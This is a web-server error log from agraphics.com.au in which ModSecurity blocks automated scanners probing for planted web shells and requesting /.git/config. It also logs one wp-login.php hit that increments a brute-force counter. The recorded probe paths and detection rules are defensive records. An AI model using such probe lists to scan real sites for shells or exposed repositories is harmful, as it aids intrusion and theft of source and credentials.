[Sat Apr 18 19:51:15.286849 2026] [:error] [pid 13023:tid 13027] [client 20.203.175.196:6934] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeNwM_1e7hG8DAeABB8ATwAAAQI"]
[Sat Apr 18 19:51:19.667981 2026] [:error] [pid 34290:tid 34321] [client 20.203.175.196:6832] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeNwNxqX6WpmmAXOBi8SyQAAAcI"]
[Sat Apr 18 19:51:22.722118 2026] [:error] [pid 13023:tid 13037] [client 20.203.175.196:7088] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tiny2.php"] [unique_id "aeNwOv1e7hG8DAeABB8AWQAAAQw"]
[Sat Apr 18 19:51:24.795749 2026] [proxy_fcgi:error] [pid 34237:tid 34250] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:25.050718 2026] [proxy_fcgi:error] [pid 34237:tid 34257] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:25.300685 2026] [proxy_fcgi:error] [pid 34237:tid 34260] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:25.546354 2026] [proxy_fcgi:error] [pid 34237:tid 34240] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:25.785119 2026] [proxy_fcgi:error] [pid 34237:tid 34244] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:26.028748 2026] [proxy_fcgi:error] [pid 34237:tid 34255] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:26.287381 2026] [proxy_fcgi:error] [pid 34237:tid 34256] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:26.526632 2026] [proxy_fcgi:error] [pid 34237:tid 34254] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:26.801898 2026] [proxy_fcgi:error] [pid 34237:tid 34252] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:27.041460 2026] [proxy_fcgi:error] [pid 34237:tid 34253] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:27.294789 2026] [proxy_fcgi:error] [pid 34237:tid 34263] [client 20.203.175.196:7052] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:51:27.529799 2026] [:error] [pid 34237:tid 34247] [client 20.203.175.196:7052] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeNwPxBmX4Wq5a6rxfaa5QAAAUg"]
[Sat Apr 18 19:51:28.877201 2026] [:error] [pid 34237:tid 34255] [client 20.203.175.196:6998] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeNwQBBmX4Wq5a6rxfaa6gAAAVA"]
[Sat Apr 18 19:51:29.883840 2026] [:error] [pid 9864:tid 9929] [client 20.203.175.196:7102] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeNwQYCFeowknfXHM7kP4gAAAFc"]
[Sat Apr 18 19:51:30.837518 2026] [:error] [pid 9970:tid 9993] [client 20.203.175.196:7078] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeNwQiYdRLRhVmaIMx2u4gAAANM"]
[Sat Apr 18 19:51:32.133956 2026] [:error] [pid 34237:tid 34255] [client 20.203.175.196:6834] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "aeNwRBBmX4Wq5a6rxfaa8gAAAVA"]
[Sat Apr 18 19:51:32.988508 2026] [:error] [pid 13023:tid 13049] [client 20.203.175.196:7050] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "aeNwRP1e7hG8DAeABB8AawAAARg"]
[Sat Apr 18 19:51:33.834368 2026] [:error] [pid 34288:tid 34295] [client 20.203.175.196:7086] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "aeNwReTIiy__PtiLmpnQFgAAAYM"]
[Sat Apr 18 19:51:35.444759 2026] [:error] [pid 9864:tid 9922] [client 20.203.175.196:7046] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws84.php"] [unique_id "aeNwR4CFeowknfXHM7kQNwAAAFA"]
[Sat Apr 18 19:51:36.861435 2026] [:error] [pid 34288:tid 34310] [client 20.203.175.196:7053] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeNwSOTIiy__PtiLmpnQFwAAAZI"]
[Sat Apr 18 19:51:40.243107 2026] [:error] [pid 34237:tid 34245] [client 20.203.175.196:7144] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeNwTBBmX4Wq5a6rxfabBAAAAUY"]
[Sat Apr 18 19:51:41.668224 2026] [:error] [pid 13023:tid 13044] [client 20.203.175.196:7067] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeNwTf1e7hG8DAeABB8AgQAAARM"]
[Sat Apr 18 19:51:42.440445 2026] [:error] [pid 9864:tid 9929] [client 20.203.175.196:7136] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeNwToCFeowknfXHM7kQkwAAAFc"]
[Sat Apr 18 19:51:43.476914 2026] [:error] [pid 34237:tid 34251] [client 20.203.175.196:7155] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeNwTxBmX4Wq5a6rxfabDQAAAUw"]
[Sat Apr 18 19:51:48.338533 2026] [:error] [pid 9864:tid 9930] [client 20.203.175.196:6987] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeNwVICFeowknfXHM7kQ0gAAAFg"]
[Sat Apr 18 19:51:49.476556 2026] [:error] [pid 9864:tid 9909] [client 20.203.175.196:7114] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeNwVYCFeowknfXHM7kQ2gAAAEQ"]
[Sat Apr 18 19:51:53.998935 2026] [:error] [pid 9970:tid 9990] [client 20.203.175.196:7055] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-wp-image.php"] [unique_id "aeNwWSYdRLRhVmaIMx2u-wAAANA"]
[Sat Apr 18 19:58:10.764430 2026] [:error] [pid 13023:tid 13035] [client 104.28.163.18:35935] [client 104.28.163.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 104.28.163.18, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aeNx0v1e7hG8DAeABB8B_wAAAQo"]
[Sat Apr 18 19:58:10.774416 2026] [proxy_fcgi:error] [pid 13023:tid 13035] [client 104.28.163.18:35935] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:14:39.004739 2026] [:error] [pid 13023:tid 13025] [client 34.73.218.75:55016] [client 34.73.218.75] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aeOf3_1e7hG8DAeABB9JxQAAAQA"]
[Sat Apr 18 23:15:35.085437 2026] [proxy_fcgi:error] [pid 9970:tid 9974] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:35.326769 2026] [proxy_fcgi:error] [pid 9970:tid 9998] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:35.598731 2026] [proxy_fcgi:error] [pid 9970:tid 9983] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:35.837465 2026] [proxy_fcgi:error] [pid 9970:tid 9984] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:36.129562 2026] [proxy_fcgi:error] [pid 9970:tid 9990] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:36.383930 2026] [proxy_fcgi:error] [pid 9970:tid 9992] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:36.631373 2026] [proxy_fcgi:error] [pid 9970:tid 9994] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:36.942637 2026] [proxy_fcgi:error] [pid 9970:tid 9982] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:37.233664 2026] [proxy_fcgi:error] [pid 9970:tid 9980] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:37.522483 2026] [proxy_fcgi:error] [pid 9970:tid 9997] [client 20.203.141.81:32796] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:15:37.766406 2026] [:error] [pid 9970:tid 9979] [client 20.203.141.81:32796] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "aeOgGSYdRLRhVmaIMx3r7gAAAMU"]
[Sat Apr 18 23:15:38.263043 2026] [:error] [pid 13023:tid 13039] [client 20.203.141.81:63682] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "aeOgGv1e7hG8DAeABB9KBQAAAQ4"]
[Sat Apr 18 23:15:39.044624 2026] [:error] [pid 13023:tid 13025] [client 20.203.141.81:32788] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "aeOgG_1e7hG8DAeABB9KBwAAAQA"]
[Sat Apr 18 23:15:39.570311 2026] [:error] [pid 13023:tid 13037] [client 20.203.141.81:41208] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/eursi.php"] [unique_id "aeOgG_1e7hG8DAeABB9KCQAAAQw"]
[Sat Apr 18 23:15:40.099559 2026] [:error] [pid 32678:tid 32722] [client 20.203.141.81:61798] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gkojz.php"] [unique_id "aeOgHBUlAXU_ZWUu5y8XZAAAAo8"]
[Sat Apr 18 23:15:40.784205 2026] [:error] [pid 32647:tid 32671] [client 20.203.141.81:7905] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gkojz.php"] [unique_id "aeOgHEkxooM0iRo6e540zAAAAhU"]
[Sat Apr 18 23:15:41.380764 2026] [:error] [pid 34290:tid 34330] [client 20.203.141.81:32819] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gkojz.php"] [unique_id "aeOgHRqX6WpmmAXOBi8vQgAAAcs"]
[Sat Apr 18 23:15:42.036073 2026] [:error] [pid 32647:tid 32664] [client 20.203.141.81:7898] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gkojz.php"] [unique_id "aeOgHkkxooM0iRo6e540zwAAAg4"]
[Sat Apr 18 23:15:42.691530 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:63712] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/isvqf.php"] [unique_id "aeOgHv1e7hG8DAeABB9KDgAAAQE"]
[Sat Apr 18 23:15:43.235194 2026] [:error] [pid 13023:tid 13025] [client 20.203.141.81:41155] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/isvqf.php"] [unique_id "aeOgH_1e7hG8DAeABB9KEgAAAQA"]
[Sat Apr 18 23:15:43.762666 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:32769] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/isvqf.php"] [unique_id "aeOgH_1e7hG8DAeABB9KFgAAARA"]
[Sat Apr 18 23:15:44.639905 2026] [:error] [pid 13023:tid 13026] [client 20.203.141.81:32781] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/isvqf.php"] [unique_id "aeOgIP1e7hG8DAeABB9KHQAAAQE"]
[Sat Apr 18 23:15:45.129600 2026] [:error] [pid 9863:tid 9885] [client 20.203.141.81:32783] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ppxhp.php"] [unique_id "aeOgITjjiypiFrTucbLbpAAAAAw"]
[Sat Apr 18 23:15:45.730538 2026] [:error] [pid 13023:tid 13049] [client 20.203.141.81:64209] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ppxhp.php"] [unique_id "aeOgIf1e7hG8DAeABB9KJQAAARg"]
[Sat Apr 18 23:15:46.271395 2026] [:error] [pid 9970:tid 9976] [client 20.203.141.81:41163] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ppxhp.php"] [unique_id "aeOgIiYdRLRhVmaIMx3r-QAAAMI"]
[Sat Apr 18 23:15:47.171519 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:64220] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ppxhp.php"] [unique_id "aeOgI6zb5knECIY-C-iqSQAAAI0"]
[Sat Apr 18 23:15:47.781858 2026] [:error] [pid 9865:tid 9959] [client 20.203.141.81:41154] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whtrq.php"] [unique_id "aeOgI6zb5knECIY-C-iqSgAAAJY"]
[Sat Apr 18 23:15:48.408927 2026] [:error] [pid 9970:tid 9978] [client 20.203.141.81:64240] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whtrq.php"] [unique_id "aeOgJCYdRLRhVmaIMx3r_QAAAMQ"]
[Sat Apr 18 23:15:49.083653 2026] [:error] [pid 9970:tid 9992] [client 20.203.141.81:63737] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whtrq.php"] [unique_id "aeOgJSYdRLRhVmaIMx3r_gAAANI"]
[Sat Apr 18 23:15:49.652217 2026] [:error] [pid 32677:tid 32695] [client 20.203.141.81:63687] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/whtrq.php"] [unique_id "aeOgJRngmUE3LdC-wP70_QAAAk8"]
[Sat Apr 18 23:15:50.368131 2026] [:error] [pid 34290:tid 34340] [client 20.203.141.81:63686] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "aeOgJhqX6WpmmAXOBi8vRwAAAdU"]
[Sat Apr 18 23:15:51.041287 2026] [:error] [pid 9970:tid 9983] [client 20.203.141.81:32211] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "aeOgJyYdRLRhVmaIMx3sBgAAAMk"]
[Sat Apr 18 23:15:51.741581 2026] [:error] [pid 9970:tid 9987] [client 20.203.141.81:63681] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "aeOgJyYdRLRhVmaIMx3sEAAAAM0"]
[Sat Apr 18 23:15:52.357863 2026] [:error] [pid 32678:tid 32729] [client 20.203.141.81:41193] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rkiea.php"] [unique_id "aeOgKBUlAXU_ZWUu5y8XcQAAApY"]
[Sat Apr 18 23:15:52.985153 2026] [:error] [pid 9970:tid 9995] [client 20.203.141.81:56978] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "aeOgKCYdRLRhVmaIMx3sGAAAANU"]
[Sat Apr 18 23:15:54.038849 2026] [:error] [pid 9970:tid 9985] [client 20.203.141.81:64243] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "aeOgKiYdRLRhVmaIMx3sHwAAAMs"]
[Sat Apr 18 23:15:54.871557 2026] [:error] [pid 32678:tid 32725] [client 20.203.141.81:41213] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "aeOgKhUlAXU_ZWUu5y8XdgAAApI"]
[Sat Apr 18 23:15:55.527990 2026] [:error] [pid 9970:tid 9990] [client 20.203.141.81:7873] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ckk.php"] [unique_id "aeOgKyYdRLRhVmaIMx3sJQAAANA"]
[Sat Apr 18 23:15:56.740172 2026] [:error] [pid 13023:tid 13040] [client 20.203.141.81:54800] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/baixy.php"] [unique_id "aeOgLP1e7hG8DAeABB9KNgAAAQ8"]
